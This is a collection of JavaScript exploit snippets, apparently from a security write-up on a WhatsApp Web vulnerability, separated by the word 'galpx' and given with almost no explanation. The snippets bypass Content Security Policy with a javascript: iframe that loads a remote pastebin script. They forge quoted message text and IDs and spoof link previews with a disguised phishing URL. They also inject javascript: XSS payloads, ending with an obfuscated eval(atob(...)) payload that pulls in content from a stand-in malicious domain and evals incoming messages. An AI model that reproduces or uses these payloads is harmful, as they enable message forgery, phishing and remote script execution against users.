galpx

function _isEvent(prop) {
    if (0 !== prop.indexOf('on')) {
        return false;
    }

    return true;
}

function _getEvents(obj) {

galpx

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

galpx

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

galpx

e = {
  __x_body: "Why would you say that?!",
  __x_type: "chat",
  __x_quotedMsg: {
    body: "I think you are the best!",
    type: "chat",
    mentionedJidList: [],
    isForwarded: false,
    labels: [],
  },

galpx

e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message

galpx

e.__x_body = e.__x_matchedText = "https://example.com";

galpx

e.__x_body = e.__x_matchedText =
  "Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";

galpx

e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";

galpx

e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';

galpx

var payload = `
  hard_expire_time.innerHTML +=
  '<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
  onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;